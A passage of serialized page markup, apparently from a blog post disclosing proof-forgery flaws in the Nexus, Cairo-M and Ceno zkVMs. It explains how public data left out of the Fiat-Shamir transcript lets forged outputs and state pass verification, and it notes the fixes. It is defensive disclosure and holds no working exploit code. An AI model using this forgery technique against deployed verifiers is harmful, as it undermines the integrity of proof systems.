02],{"type":24,"tag":158,"props":118903,"children":118904},{"style":117048},[118905,118909],{"type":24,"tag":158,"props":118906,"children":118908},{"className":118907,"style":5711},[5710],[],{"type":24,"tag":158,"props":118910,"children":118912},{"className":118911},[5716,5717,5718,5719],[118913],{"type":24,"tag":158,"props":118914,"children":118916},{"className":118915},[5669,22832,5719],[118917],{"type":29,"value":1832},{"type":24,"tag":158,"props":118919,"children":118921},{"className":118920},[22989],[118922],{"type":29,"value":22992},{"type":24,"tag":158,"props":118924,"children":118926},{"className":118925},[5696],[118927],{"type":24,"tag":158,"props":118928,"children":118930},{"className":118929,"style":94408},[5701],[118931],{"type":24,"tag":158,"props":118932,"children":118933},{},[],{"type":24,"tag":158,"props":118935,"children":118937},{"className":118936,"style":5751},[5750],[],{"type":24,"tag":158,"props":118939,"children":118941},{"className":118940},[5756],[118942],{"type":29,"value":112587},{"type":24,"tag":158,"props":118944,"children":118946},{"className":118945,"style":5751},[5750],[],{"type":24,"tag":158,"props":118948,"children":118950},{"className":118949},[5658],[118951,118955,119017,119022,119027],{"type":24,"tag":158,"props":118952,"children":118954},{"className":118953,"style":5771},[5663],[],{"type":24,"tag":158,"props":118956,"children":118958},{"className":118957},[5669],[118959,118969],{"type":24,"tag":158,"props":118960,"children":118962},{"className":118961},[5669,29],[118963],{"type":24,"tag":158,"props":118964,"children":118966},{"className":118965},[5669],[118967],{"type":29,"value":118968},"constraint",{"type":24,"tag":158,"props":118970,"children":118972},{"className":118971},[5686],[118973],{"type":24,"tag":158,"props":118974,"children":118976},{"className":118975},[5691,22886],[118977,119006],{"type":24,"tag":158,"props":118978,"children":118980},{"className":118979},[5696],[118981,119001],{"type":24,"tag":158,"props":118982,"children":118984},{"className":118983,"style":94854},[5701],[118985],{"type":24,"tag":158,"props":118986,"children":118987},{"style":115455},[118988,118992],{"type":24,"tag":158,"props":118989,"children":118991},{"className":118990,"style":5711},[5710],[],{"type":24,"tag":158,"props":118993,"children":118995},{"className":118994},[5716,5717,5718,5719],[118996],{"type":24,"tag":158,"props":118997,"children":118999},{"className":118998},[5669,22832,5719],[119000],{"type":29,"value":1832},{"type":24,"tag":158,"props":119002,"children":119004},{"className":119003},[22989],[119005],{"type":29,"value":22992},{"type":24,"tag":158,"props":119007,"children":119009},{"className":119008},[5696],[119010],{"type":24,"tag":158,"props":119011,"children":119013},{"className":119012,"style":94408},[5701],[119014],{"type":24,"tag":158,"props":119015,"children":119016},{},[],{"type":24,"tag":158,"props":119018,"children":119020},{"className":119019},[22961],[119021],{"type":29,"value":504},{"type":24,"tag":158,"props":119023,"children":119025},{"className":119024},[5669,22832],[119026],{"type":29,"value":20518},{"type":24,"tag":158,"props":119028,"children":119030},{"className":119029},[22983],[119031],{"type":29,"value":521},{"type":24,"tag":25,"props":119033,"children":119034},{},[119035,119037,119042,119044,119049],{"type":29,"value":119036},"Since each constraint is linear in its ",{"type":24,"tag":154,"props":119038,"children":119040},{"className":119039},[],[119041],{"type":29,"value":116189},{"type":29,"value":119043},", the overall composition polynomial is linear in all ",{"type":24,"tag":154,"props":119045,"children":119047},{"className":119046},[],[119048],{"type":29,"value":116189},{"type":29,"value":119050}," values.",{"type":24,"tag":25,"props":119052,"children":119053},{},[119054,119056],{"type":29,"value":119055},"The verifier checks ",{"type":24,"tag":154,"props":119057,"children":119059},{"className":119058},[5642,5643],[119060],{"type":24,"tag":158,"props":119061,"children":119063},{"className":119062},[5648],[119064],{"type":24,"tag":158,"props":119065,"children":119067},{"className":119066,"ariaHidden":3185},[5653],[119068,119129],{"type":24,"tag":158,"props":119069,"children":119071},{"className":119070},[5658],[119072,119076,119081,119086,119096,119101,119111,119116,119120,119125],{"type":24,"tag":158,"props":119073,"children":119075},{"className":119074,"style":94267},[5663],[],{"type":24,"tag":158,"props":119077,"children":119079},{"className":119078,"style":23364},[5669,22832],[119080],{"type":29,"value":117554},{"type":24,"tag":158,"props":119082,"children":119084},{"className":119083},[22961],[119085],{"type":29,"value":504},{"type":24,"tag":158,"props":119087,"children":119089},{"className":119088},[5669,29],[119090],{"type":24,"tag":158,"props":119091,"children":119093},{"className":119092},[5669],[119094],{"type":29,"value":119095},"oods",{"type":24,"tag":158,"props":119097,"children":119099},{"className":119098,"style":94325},[5669],[119100],{"type":29,"value":4750},{"type":24,"tag":158,"props":119102,"children":119104},{"className":119103},[5669,29],[119105],{"type":24,"tag":158,"props":119106,"children":119108},{"className":119107},[5669],[119109],{"type":29,"value":119110},"point",{"type":24,"tag":158,"props":119112,"children":119114},{"className":119113},[22983],[119115],{"type":29,"value":521},{"type":24,"tag":158,"props":119117,"children":119119},{"className":119118,"style":5848},[5750],[],{"type":24,"tag":158,"props":119121,"children":119123},{"className":119122},[5853],[119124],{"type":29,"value":1285},{"type":24,"tag":158,"props":119126,"children":119128},{"className":119127,"style":5848},[5750],[],{"type":24,"tag":158,"props":119130,"children":119132},{"className":119131},[5658],[119133,119137],{"type":24,"tag":158,"props":119134,"children":119136},{"className":119135,"style":116380},[5663],[],{"type":24,"tag":158,"props":119138,"children":119140},{"className":119139},[5669,29],[119141],{"type":24,"tag":158,"props":119142,"children":119144},{"className":119143},[5669],[119145],{"type":29,"value":117879},{"type":24,"tag":25,"props":119147,"children":119148},{},[119149,119151,119156,119158,119163],{"type":29,"value":119150},"With ",{"type":24,"tag":154,"props":119152,"children":119154},{"className":119153},[],[119155],{"type":29,"value":116189},{"type":29,"value":119157}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":24,"tag":154,"props":119159,"children":119161},{"className":119160},[],[119162],{"type":29,"value":116189},{"type":29,"value":119164}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":24,"tag":25,"props":119166,"children":119167},{},[119168,119172,119174],{"type":24,"tag":897,"props":119169,"children":119170},{},[119171],{"type":29,"value":118035},{"type":29,"value":119173}," Fixed on October 24, 2025 via ",{"type":24,"tag":101,"props":119175,"children":119178},{"href":119176,"rel":119177},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[105],[119179],{"type":29,"value":119180},"PR #503",{"type":24,"tag":20034,"props":119182,"children":119183},{},[],{"type":24,"tag":395,"props":119185,"children":119187},{"id":119186},"cairo-m-kakarot-labs",[119188],{"type":29,"value":119189},"Cairo-M (Kakarot Labs)",{"type":24,"tag":25,"props":119191,"children":119192},{},[119193],{"type":29,"value":119194},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":24,"tag":25,"props":119196,"children":119197},{},[119198],{"type":29,"value":119199},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":24,"tag":25,"props":119201,"children":119202},{},[119203],{"type":24,"tag":897,"props":119204,"children":119205},{},[119206],{"type":29,"value":116741},{"type":24,"tag":147,"props":119208,"children":119210},{"code":119209},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[119211],{"type":24,"tag":154,"props":119212,"children":119213},{"__ignoreMap":7},[119214],{"type":29,"value":119209},{"type":24,"tag":25,"props":119216,"children":119217},{},[119218],{"type":24,"tag":897,"props":119219,"children":119220},{},[119221],{"type":29,"value":116757},{"type":24,"tag":25,"props":119223,"children":119224},{},[119225],{"type":24,"tag":84,"props":119226,"children":119229},{"alt":119227,"src":119228},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":24,"tag":25,"props":119231,"children":119232},{},[119233,119235,119241],{"type":29,"value":119234},"Lookup challenges are derived without ",{"type":24,"tag":154,"props":119236,"children":119238},{"className":119237},[],[119239],{"type":29,"value":119240},"public_data",{"type":29,"value":119242}," being mixed into the transcript.",{"type":24,"tag":25,"props":119244,"children":119245},{},[119246,119247,119252,119254,119259],{"type":29,"value":17850},{"type":24,"tag":154,"props":119248,"children":119250},{"className":119249},[],[119251],{"type":29,"value":119240},{"type":29,"value":119253}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":24,"tag":32,"props":119255,"children":119256},{},[119257],{"type":29,"value":119258},"denominators",{"type":29,"value":119260}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":24,"tag":25,"props":119262,"children":119263},{},[119264],{"type":24,"tag":154,"props":119265,"children":119267},{"className":119266},[5642,5643],[119268],{"type":24,"tag":158,"props":119269,"children":119271},{"className":119270},[5648],[119272],{"type":24,"tag":158,"props":119273,"children":119275},{"className":119274,"ariaHidden":3185},[5653],[119276,119336,119382,119428],{"type":24,"tag":158,"props":119277,"children":119279},{"className":119278},[5658],[119280,119284,119290,119295,119304,119309,119318,119323,119327,119332],{"type":24,"tag":158,"props":119281,"children":119283},{"className":119282,"style":94267},[5663],[],{"type":24,"tag":158,"props":119285,"children":119287},{"className":119286},[5669,22832],[119288],{"type":29,"value":119289},"L",{"type":24,"tag":158,"props":119291,"children":119293},{"className":119292},[22961],[119294],{"type":29,"value":504},{"type":24,"tag":158,"props":119296,"children":119298},{"className":119297},[5669,29],[119299],{"type":24,"tag":158,"props":119300,"children":119302},{"className":119301},[5669],[119303],{"type":29,"value":62949},{"type":24,"tag":158,"props":119305,"children":119307},{"className":119306,"style":94325},[5669],[119308],{"type":29,"value":4750},{"type":24,"tag":158,"props":119310,"children":119312},{"className":119311},[5669,29],[119313],{"type":24,"tag":158,"props":119314,"children":119316},{"className":119315},[5669],[119317],{"type":29,"value":5361},{"type":24,"tag":158,"props":119319,"children":119321},{"className":119320},[22983],[119322],{"type":29,"value":521},{"type":24,"tag":158,"props":119324,"children":119326},{"className":119325,"style":5751},[5750],[],{"type":24,"tag":158,"props":119328,"children":119330},{"className":119329},[5756],[119331],{"type":29,"value":728},{"type":24,"tag":158,"props":119333,"children":119335},{"className":119334,"style":5751},[5750],[],{"type":24,"tag":158,"props":119337,"children":119339},{"className":119338},[5658],[119340,119344,119354,119359,119369,119373,119378],{"type":24,"tag":158,"props":119341,"children":119343},{"className":119342,"style":94267},[5663],[],{"type":24,"tag":158,"props":119345,"children":119347},{"className":119346},[5669,29],[119348],{"type":24,"tag":158,"props":119349,"children":119351},{"className":119350},[5669],[119352],{"type":29,"value":119353},"(other transcript",{"type":24,"tag":158,"props":119355,"children":119357},{"className":119356,"style":94325},[5669],[119358],{"type":29,"value":4750},{"type":24,"tag":158,"props":119360,"children":119362},{"className":119361},[5669,29],[119363],{"type":24,"tag":158,"props":119364,"children":119366},{"className":119365},[5669],[119367],{"type":29,"value":119368},"bound terms)",{"type":24,"tag":158,"props":119370,"children":119372},{"className":119371,"style":5848},[5750],[],{"type":24,"tag":158,"props":119374,"children":119376},{"className":119375},[5853],[119377],{"type":29,"value":1285},{"type":24,"tag":158,"props":119379,"children":119381},{"className":119380,"style":5848},[5750],[],{"type":24,"tag":158,"props":119383,"children":119385},{"className":119384},[5658],[119386,119391,119396,119401,119406,119410,119415,119419,119424],{"type":24,"tag":158,"props":119387,"children":119390},{"className":119388,"style":119389},[5663],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":24,"tag":158,"props":119392,"children":119394},{"className":119393},[5669],[119395],{"type":29,"value":5682},{"type":24,"tag":158,"props":119397,"children":119399},{"className":119398},[5782],[119400],{"type":29,"value":5785},{"type":24,"tag":158,"props":119402,"children":119405},{"className":119403,"style":119404},[5750],"margin-right:2em;",[],{"type":24,"tag":158,"props":119407,"children":119409},{"className":119408,"style":5789},[5750],[],{"type":24,"tag":158,"props":119411,"children":119413},{"className":119412},[5669,22832],[119414],{"type":29,"value":119289},{"type":24,"tag":158,"props":119416,"children":119418},{"className":119417,"style":5848},[5750],[],{"type":24,"tag":158,"props":119420,"children":119422},{"className":119421},[5853],[119423],{"type":29,"value":1285},{"type":24,"tag":158,"props":119425,"children":119427},{"className":119426,"style":5848},[5750],[],{"type":24,"tag":158,"props":119429,"children":119431},{"className":119430},[5658],[119432,119437,119494,119498,119716],{"type":24,"tag":158,"props":119433,"children":119436},{"className":119434,"style":119435},[5663],"height:1.4071em;vertical-align:-0.562em;",[],{"type":24,"tag":158,"props":119438,"children":119440},{"className":119439},[22868],[119441,119446],{"type":24,"tag":158,"props":119442,"children":119444},{"className":119443,"style":22875},[22868,22873,22874],[119445],{"type":29,"value":110120},{"type":24,"tag":158,"props":119447,"children":119449},{"className":119448},[5686],[119450],{"type":24,"tag":158,"props":119451,"children":119453},{"className":119452},[5691,22886],[119454,119483],{"type":24,"tag":158,"props":119455,"children":119457},{"className":119456},[5696],[119458,119478],{"type":24,"tag":158,"props":119459,"children":119461},{"className":119460,"style":115532},[5701],[119462],{"type":24,"tag":158,"props":119463,"children":119464},{"style":22899},[119465,119469],{"type":24,"tag":158,"props":119466,"children":119468},{"className":119467,"style":5711},[5710],[],{"type":24,"tag":158,"props":119470,"children":119472},{"className":119471},[5716,5717,5718,5719],[119473],{"type":24,"tag":158,"props":119474,"children":119476},{"className":119475},[5669,22832,5719],[119477],{"type":29,"value":1832},{"type":24,"tag":158,"props":119479,"children":119481},{"className":119480},[22989],[119482],{"type":29,"value":22992},{"type":24,"tag":158,"props":119484,"children":119486},{"className":119485},[5696],[119487],{"type":24,"tag":158,"props":119488,"children":119490},{"className":119489,"style":115812},[5701],[119491],{"type":24,"tag":158,"props":119492,"children":119493},{},[],{"type":24,"tag":158,"props":119495,"children":119497},{"className":119496,"style":5789},[5750],[],{"type":24,"tag":158,"props":119499,"children":119501},{"className":119500},[5669],[119502,119506,119712],{"type":24,"tag":158,"props":119503,"children":119505},{"className":119504},[22961,114843],[],{"type":24,"tag":158,"props":119507,"children":119509},{"className":119508},[114848],[119510],{"type":24,"tag":158,"props":119511,"children":119513},{"className":119512},[5691,22886],[119514,119700],{"type":24,"tag":158,"props":119515,"children":119517},{"className":119516},[5696],[119518,119695],{"type":24,"tag":158,"props":119519,"children":119521},{"className":119520,"style":114861},[5701],[119522,119664,119675],{"type":24,"tag":158,"props":119523,"children":119524},{"style":114865},[119525,119529],{"type":24,"tag":158,"props":119526,"children":119528},{"className":119527,"style":113496},[5710],[],{"type":24,"tag":158,"props":119530,"children":119532},{"className":119531},[5716,5717,5718,5719],[119533],{"type":24,"tag":158,"props":119534,"children":119536},{"className":119535},[5669,5719],[119537,119542,119547,119553,119558,119563,119620,119625,119634,119639,119648,119654,119659],{"type":24,"tag":158,"props":119538,"children":119540},{"className":119539,"style":114882},[5669,22832,5719],[119541],{"type":29,"value":114885},{"type":24,"tag":158,"props":119543,"children":119545},{"className":119544},[5756,5719],[119546],{"type":29,"value":728},{"type":24,"tag":158,"props":119548,"children":119550},{"className":119549},[22961,5719],[119551],{"type":29,"value":119552},"⟨",{"type":24,"tag":158,"props":119554,"children":119556},{"className":119555,"style":116413},[5669,22832,5719],[119557],{"type":29,"value":116416},{"type":24,"tag":158,"props":119559,"children":119561},{"className":119560},[5782,5719],[119562],{"type":29,"value":5785},{"type":24,"tag":158,"props":119564,"children":119566},{"className":119565},[5669,5719],[119567,119572],{"type":24,"tag":158,"props":119568,"children":119570},{"className":119569},[5669,22832,5719],[119571],{"type":29,"value":22974},{"type":24,"tag":158,"props":119573,"children":119575},{"className":119574},[5686],[119576],{"type":24,"tag":158,"props":119577,"children":119579},{"className":119578},[5691,22886],[119580,119609],{"type":24,"tag":158,"props":119581,"children":119583},{"className":119582},[5696],[119584,119604],{"type":24,"tag":158,"props":119585,"children":119587},{"className":119586,"style":115649},[5701],[119588],{"type":24,"tag":158,"props":119589,"children":119590},{"style":110180},[119591,119595],{"type":24,"tag":158,"props":119592,"children":119594},{"className":119593,"style":110185},[5710],[],{"type":24,"tag":158,"props":119596,"children":119598},{"className":119597},[5716,110190,110191,5719],[119599],{"type":24,"tag":158,"props":119600,"children":119602},{"className":119601},[5669,22832,5719],[119603],{"type":29,"value":1832},{"type":24,"tag":158,"props":119605,"children":119607},{"className":119606},[22989],[119608],{"type":29,"value":22992},{"type":24,"tag":158,"props":119610,"children":119612},{"className":119611},[5696],[119613],{"type":24,"tag":158,"props":119614,"children":119616},{"className":119615,"style":110210},[5701],[119617],{"type":24,"tag":158,"props":119618,"children":119619},{},[],{"type":24,"tag":158,"props":119621,"children":119623},{"className":119622},[22961,5719],[119624],{"type":29,"value":504},{"type":24,"tag":158,"props":119626,"children":119628},{"className":119627},[5669,29,5719],[119629],{"type":24,"tag":158,"props":119630,"children":119632},{"className":119631},[5669,5719],[119633],{"type":29,"value":62949},{"type":24,"tag":158,"props":119635,"children":119637},{"className":119636,"style":94325},[5669,5719],[119638],{"type":29,"value":4750},{"type":24,"tag":158,"props":119640,"children":119642},{"className":119641},[5669,29,5719],[119643],{"type":24,"tag":158,"props":119644,"children":119646},{"className":119645},[5669,5719],[119647],{"type":29,"value":5361},{"type":24,"tag":158,"props":119649,"children":119651},{"className":119650},[22983,5719],[119652],{"type":29,"value":119653},")⟩",{"type":24,"tag":158,"props":119655,"children":119657},{"className":119656},[5756,5719],[119658],{"type":29,"value":728},{"type":24,"tag":158,"props":119660,"children":119662},{"className":119661,"style":116468},[5669,22832,5719],[119663],{"type":29,"value":116471},{"type":24,"tag":158,"props":119665,"children":119666},{"style":114898},[119667,119671],{"type":24,"tag":158,"props":119668,"children":119670},{"className":119669,"style":113496},[5710],[],{"type":24,"tag":158,"props":119672,"children":119674},{"className":119673,"style":114908},[114907],[],{"type":24,"tag":158,"props":119676,"children":119677},{"style":114912},[119678,119682],{"type":24,"tag":158,"props":119679,"children":119681},{"className":119680,"style":113496},[5710],[],{"type":24,"tag":158,"props":119683,"children":119685},{"className":119684},[5716,5717,5718,5719],[119686],{"type":24,"tag":158,"props":119687,"children":119689},{"className":119688},[5669,5719],[119690],{"type":24,"tag":158,"props":119691,"children":119693},{"className":119692},[5669,5719],[119694],{"type":29,"value":5672},{"type":24,"tag":158,"props":119696,"children":119698},{"className":119697},[22989],[119699],{"type":29,"value":22992},{"type":24,"tag":158,"props":119701,"children":119703},{"className":119702},[5696],[119704],{"type":24,"tag":158,"props":119705,"children":119708},{"className":119706,"style":119707},[5701],"height:0.562em;",[119709],{"type":24,"tag":158,"props":119710,"children":119711},{},[],{"type":24,"tag":158,"props":119713,"children":119715},{"className":119714},[22983,114843],[],{"type":24,"tag":158,"props":119717,"children":119719},{"className":119718},[5669],[119720],{"type":29,"value":347},{"type":24,"tag":25,"props":119722,"children":119723},{},[119724,119726],{"type":29,"value":119725},"The global check is then that ",{"type":24,"tag":154,"props":119727,"children":119729},{"className":119728},[5642,5643],[119730],{"type":24,"tag":158,"props":119731,"children":119733},{"className":119732},[5648],[119734],{"type":24,"tag":158,"props":119735,"children":119737},{"className":119736,"ariaHidden":3185},[5653],[119738,119779,119810],{"type":24,"tag":158,"props":119739,"children":119741},{"className":119740},[5658],[119742,119746,119751,119756,119761,119766,119770,119775],{"type":24,"tag":158,"props":119743,"children":119745},{"className":119744,"style":5771},[5663],[],{"type":24,"tag":158,"props":119747,"children":119749},{"className":119748},[5669,22832],[119750],{"type":29,"value":119289},{"type":24,"tag":158,"props":119752,"children":119754},{"className":119753},[22961],[119755],{"type":29,"value":504},{"type":24,"tag":158,"props":119757,"children":119759},{"className":119758},[5669,22832],[119760],{"type":29,"value":25},{"type":24,"tag":158,"props":119762,"children":119764},{"className":119763},[22983],[119765],{"type":29,"value":521},{"type":24,"tag":158,"props":119767,"children":119769},{"className":119768,"style":5751},[5750],[],{"type":24,"tag":158,"props":119771,"children":119773},{"className":119772},[5756],[119774],{"type":29,"value":728},{"type":24,"tag":158,"props":119776,"children":119778},{"className":119777,"style":5751},[5750],[],{"type":24,"tag":158,"props":119780,"children":119782},{"className":119781},[5658],[119783,119787,119797,119801,119806],{"type":24,"tag":158,"props":119784,"children":119786},{"className":119785,"style":5771},[5663],[],{"type":24,"tag":158,"props":119788,"children":119790},{"className":119789},[5669,29],[119791],{"type":24,"tag":158,"props":119792,"children":119794},{"className":119793},[5669],[119795],{"type":29,"value":119796},"(other terms)",{"type":24,"tag":158,"props":119798,"children":119800},{"className":119799,"style":5848},[5750],[],{"type":24,"tag":158,"props":119802,"children":119804},{"className":119803},[5853],[119805],{"type":29,"value":1285},{"type":24,"tag":158,"props":119807,"children":119809},{"className":119808,"style":5848},[5750],[],{"type":24,"tag":158,"props":119811,"children":119813},{"className":119812},[5658],[119814,119818],{"type":24,"tag":158,"props":119815,"children":119817},{"className":119816,"style":95356},[5663],[],{"type":24,"tag":158,"props":119819,"children":119821},{"className":119820},[5669],[119822],{"type":29,"value":5682},{"type":24,"tag":25,"props":119824,"children":119825},{},[119826],{"type":29,"value":119827},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":24,"tag":25,"props":119829,"children":119830},{},[119831],{"type":29,"value":119832},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":24,"tag":25,"props":119834,"children":119835},{},[119836,119840,119842],{"type":24,"tag":897,"props":119837,"children":119838},{},[119839],{"type":29,"value":118035},{"type":29,"value":119841}," Fixed on October 31, 2025 via ",{"type":24,"tag":101,"props":119843,"children":119846},{"href":119844,"rel":119845},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[105],[119847],{"type":29,"value":119848},"commit 92b6740",{"type":24,"tag":20034,"props":119850,"children":119851},{},[],{"type":24,"tag":395,"props":119853,"children":119855},{"id":119854},"ceno-scroll",[119856],{"type":29,"value":119857},"Ceno (Scroll)",{"type":24,"tag":25,"props":119859,"children":119860},{},[119861],{"type":29,"value":119862},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":24,"tag":25,"props":119864,"children":119865},{},[119866,119868,119873],{"type":29,"value":119867},"Ceno splits verification into ",{"type":24,"tag":897,"props":119869,"children":119870},{},[119871],{"type":29,"value":119872},"chips",{"type":29,"value":119874},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":24,"tag":25,"props":119876,"children":119877},{},[119878,119880,119885],{"type":29,"value":119879},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":24,"tag":897,"props":119881,"children":119882},{},[119883],{"type":29,"value":119884},"tower sumcheck",{"type":29,"value":347},{"type":24,"tag":25,"props":119887,"children":119888},{},[119889],{"type":29,"value":119890},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":24,"tag":25,"props":119892,"children":119893},{},[119894],{"type":24,"tag":154,"props":119895,"children":119897},{"className":119896},[5642,5643],[119898],{"type":24,"tag":158,"props":119899,"children":119901},{"className":119900},[5648],[119902],{"type":24,"tag":158,"props":119903,"children":119905},{"className":119904,"ariaHidden":3185},[5653],[119906,120080,120253],{"type":24,"tag":158,"props":119907,"children":119909},{"className":119908},[5658],[119910,119914,119972,119976,119985,119990,120000,120005,120067,120071,120076],{"type":24,"tag":158,"props":119911,"children":119913},{"className":119912,"style":94267},[5663],[],{"type":24,"tag":158,"props":119915,"children":119917},{"className":119916},[22868],[119918,119924],{"type":24,"tag":158,"props":119919,"children":119921},{"className":119920,"style":22875},[22868,22873,22874],[119922],{"type":29,"value":119923},"∏",{"type":24,"tag":158,"props":119925,"children":119927},{"className":119926},[5686],[119928],{"type":24,"tag":158,"props":119929,"children":119931},{"className":119930},[5691,22886],[119932,119961],{"type":24,"tag":158,"props":119933,"children":119935},{"className":119934},[5696],[119936,119956],{"type":24,"tag":158,"props":119937,"children":119939},{"className":119938,"style":115532},[5701],[119940],{"type":24,"tag":158,"props":119941,"children":119942},{"style":22899},[119943,119947],{"type":24,"tag":158,"props":119944,"children":119946},{"className":119945,"style":5711},[5710],[],{"type":24,"tag":158,"props":119948,"children":119950},{"className":119949},[5716,5717,5718,5719],[119951],{"type":24,"tag":158,"props":119952,"children":119954},{"className":119953},[5669,22832,5719],[119955],{"type":29,"value":1832},{"type":24,"tag":158,"props":119957,"children":119959},{"className":119958},[22989],[119960],{"type":29,"value":22992},{"type":24,"tag":158,"props":119962,"children":119964},{"className":119963},[5696],[119965],{"type":24,"tag":158,"props":119966,"children":119968},{"className":119967,"style":115812},[5701],[119969],{"type":24,"tag":158,"props":119970,"children":119971},{},[],{"type":24,"tag":158,"props":119973,"children":119975},{"className":119974,"style":5789},[5750],[],{"type":24,"tag":158,"props":119977,"children":119979},{"className":119978},[5669,29],[119980],{"type":24,"tag":158,"props":119981,"children":119983},{"className":119982},[5669],[119984],{"type":29,"value":95144},{"type":24,"tag":158,"props":119986,"children":119988},{"className":119987,"style":94325},[5669],[119989],{"type":29,"value":4750},{"type":24,"tag":158,"props":119991,"children":119993},{"className":119992},[5669,29],[119994],{"type":24,"tag":158,"props":119995,"children":119997},{"className":119996},[5669],[119998],{"type":29,"value":119999},"out",{"type":24,"tag":158,"props":120001,"children":120003},{"className":120002,"style":94325},[5669],[120004],{"type":29,"value":4750},{"type":24,"tag":158,"props":120006,"children":120008},{"className":120007},[5669],[120009,120019],{"type":24,"tag":158,"props":120010,"children":120012},{"className":120011},[5669,29],[120013],{"type":24,"tag":158,"props":120014,"children":120016},{"className":120015},[5669],[120017],{"type":29,"value":120018},"evals",{"type":24,"tag":158,"props":120020,"children":120022},{"className":120021},[5686],[120023],{"type":24,"tag":158,"props":120024,"children":120026},{"className":120025},[5691,22886],[120027,120056],{"type":24,"tag":158,"props":120028,"children":120030},{"className":120029},[5696],[120031,120051],{"type":24,"tag":158,"props":120032,"children":120034},{"className":120033,"style":94854},[5701],[120035],{"type":24,"tag":158,"props":120036,"children":120037},{"style":115455},[120038,120042],{"type":24,"tag":158,"props":120039,"children":120041},{"className":120040,"style":5711},[5710],[],{"type":24,"tag":158,"props":120043,"children":120045},{"className":120044},[5716,5717,5718,5719],[120046],{"type":24,"tag":158,"props":120047,"children":120049},{"className":120048},[5669,22832,5719],[120050],{"type":29,"value":1832},{"type":24,"tag":158,"props":120052,"children":120054},{"className":120053},[22989],[120055],{"type":29,"value":22992},{"type":24,"tag":158,"props":120057,"children":120059},{"className":120058},[5696],[120060],{"type":24,"tag":158,"props":120061,"children":120063},{"className":120062,"style":94408},[5701],[120064],{"type":24,"tag":158,"props":120065,"children":120066},{},[],{"type":24,"tag":158,"props":120068,"children":120070},{"className":120069,"style":5848},[5750],[],{"type":24,"tag":158,"props":120072,"children":120074},{"className":120073},[5853],[120075],{"type":29,"value":1285},{"type":24,"tag":158,"props":120077,"children":120079},{"className":120078,"style":5848},[5750],[],{"type":24,"tag":158,"props":120081,"children":120083},{"className":120082},[5658],[120084,120089,120146,120150,120159,120164,120173,120178,120240,120244,120249],{"type":24,"tag":158,"props":120085,"children":120088},{"className":120086,"style":120087},[5663],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":24,"tag":158,"props":120090,"children":120092},{"className":120091},[22868],[120093,120098],{"type":24,"tag":158,"props":120094,"children":120096},{"className":120095,"style":22875},[22868,22873,22874],[120097],{"type":29,"value":119923},{"type":24,"tag":158,"props":120099,"children":120101},{"className":120100},[5686],[120102],{"type":24,"tag":158,"props":120103,"children":120105},{"className":120104},[5691,22886],[120106,120135],{"type":24,"tag":158,"props":120107,"children":120109},{"className":120108},[5696],[120110,120130],{"type":24,"tag":158,"props":120111,"children":120113},{"className":120112,"style":115532},[5701],[120114],{"type":24,"tag":158,"props":120115,"children":120116},{"style":22899},[120117,120121],{"type":24,"tag":158,"props":120118,"children":120120},{"className":120119,"style":5711},[5710],[],{"type":24,"tag":158,"props":120122,"children":120124},{"className":120123},[5716,5717,5718,5719],[120125],{"type":24,"tag":158,"props":120126,"children":120128},{"className":120127,"style":115548},[5669,22832,5719],[120129],{"type":29,"value":2053},{"type":24,"tag":158,"props":120131,"children":120133},{"className":120132},[22989],[120134],{"type":29,"value":22992},{"type":24,"tag":158,"props":120136,"children":120138},{"className":120137},[5696],[120139],{"type":24,"tag":158,"props":120140,"children":120142},{"className":120141,"style":115563},[5701],[120143],{"type":24,"tag":158,"props":120144,"children":120145},{},[],{"type":24,"tag":158,"props":120147,"children":120149},{"className":120148,"style":5789},[5750],[],{"type":24,"tag":158,"props":120151,"children":120153},{"className":120152},[5669,29],[120154],{"type":24,"tag":158,"props":120155,"children":120157},{"className":120156},[5669],[120158],{"type":29,"value":50843},{"type":24,"tag":158,"props":120160,"children":120162},{"className":120161,"style":94325},[5669],[120163],{"type":29,"value":4750},{"type":24,"tag":158,"props":120165,"children":120167},{"className":120166},[5669,29],[120168],{"type":24,"tag":158,"props":120169,"children":120171},{"className":120170},[5669],[120172],{"type":29,"value":119999},{"type":24,"tag":158,"props":120174,"children":120176},{"className":120175,"style":94325},[5669],[120177],{"type":29,"value":4750},{"type":24,"tag":158,"props":120179,"children":120181},{"className":120180},[5669],[120182,120191],{"type":24,"tag":158,"props":120183,"children":120185},{"className":120184},[5669,29],[120186],{"type":24,"tag":158,"props":120187,"children":120189},{"className":120188},[5669],[120190],{"type":29,"value":120018},{"type":24,"tag":158,"props":120192,"children":120194},{"className":120193},[5686],[120195],{"type":24,"tag":158,"props":120196,"children":120198},{"className":120197},[5691,22886],[120199,120228],{"type":24,"tag":158,"props":120200,"children":120202},{"className":120201},[5696],[120203,120223],{"type":24,"tag":158,"props":120204,"children":120206},{"className":120205,"style":94854},[5701],[120207],{"type":24,"tag":158,"props":120208,"children":120209},{"style":115455},[120210,120214],{"type":24,"tag":158,"props":120211,"children":120213},{"className":120212,"style":5711},[5710],[],{"type":24,"tag":158,"props":120215,"children":120217},{"className":120216},[5716,5717,5718,5719],[120218],{"type":24,"tag":158,